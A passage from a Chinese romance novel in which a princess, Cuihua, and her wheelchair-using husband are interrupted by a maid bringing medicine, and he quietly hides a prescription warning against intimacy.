见他半晌不语,翠花不乐意了:“曲大夫说了,你需保持心情舒畅才有助于调理身体,我不过是想哄你开心,你怎的又不配合?”
裴怀彻低叹一声,眼底漾开无奈的笑意:“没有不配合,只是衣食住行这些身外之物,我确实都不甚在意,至于特别喜欢的……你我夫妻二载,我最喜欢什么,你当真不知?”
这下轮到翠花沉默了。
他最喜欢什么,她自然知道,他最喜欢的就是她!
只是从前她还道那是因为他们家清贫,他终日困于方寸院落之间,除了爱好她,他根本没别的选择。
却不成想他竟是打心底里的“从一而终”,即便如今见多了富贵,也能走得更远了,眼中依旧只盛得下一个她。
她觉得自己也是给他绕了进去,本是正专心为郦璟选着礼物,却在片刻对视后莫名地心绪微澜,眼见窗外夜色渐浓,便鬼使神差地将轮椅推回他房中,伴随门栓轻落,恰如他所愿,用一个绵长的吻,早早揭开了这一夜的缱绻。
不料正当二人情浓,衣衫半解之际,门外却响起了叩门声。
翠花慌忙起身,与裴怀彻整理好衣衫,开门一看,竟是宝钿端着药盏立在门槛外。
宝钿见翠花发髻散乱,自然对她适才“忙碌”的事情心中有了数,一时神色窘迫,低眉顺眼地将药碗并一张方子递上:“公主,这是淮爷晚上要服的药,还有曲大夫开的方子……膳房已记下煮法,奴婢见这方上附带些注意事项,就又给您拿回来了,您和淮爷……不妨再仔细瞧瞧。”
宝钿吞吞吐吐地说完,便匆匆退下。
翠花接过药碗,只随意将方子塞到裴怀彻手中,自己试了试药温,嘀咕道:“不就是让你少操心,多歇息,再忌口些东西吗,曲大夫说时我就记下了,来,相公,先把药喝了,然后……”
她说着,已然眼波流转,媚意自成。
裴怀彻的目光却不经意扫过方子末尾,只见上面赫然写着“节制房事”四字。
他不动声色地将纸笺置于枕边,接过药碗一饮而尽,随即伸手又将她揽入怀中。
他想,既是她不曾问起,他便也不算欺瞒。
如今看来,昔日未曾教她识字这件事,倒是不能更有先见之明的明智之举。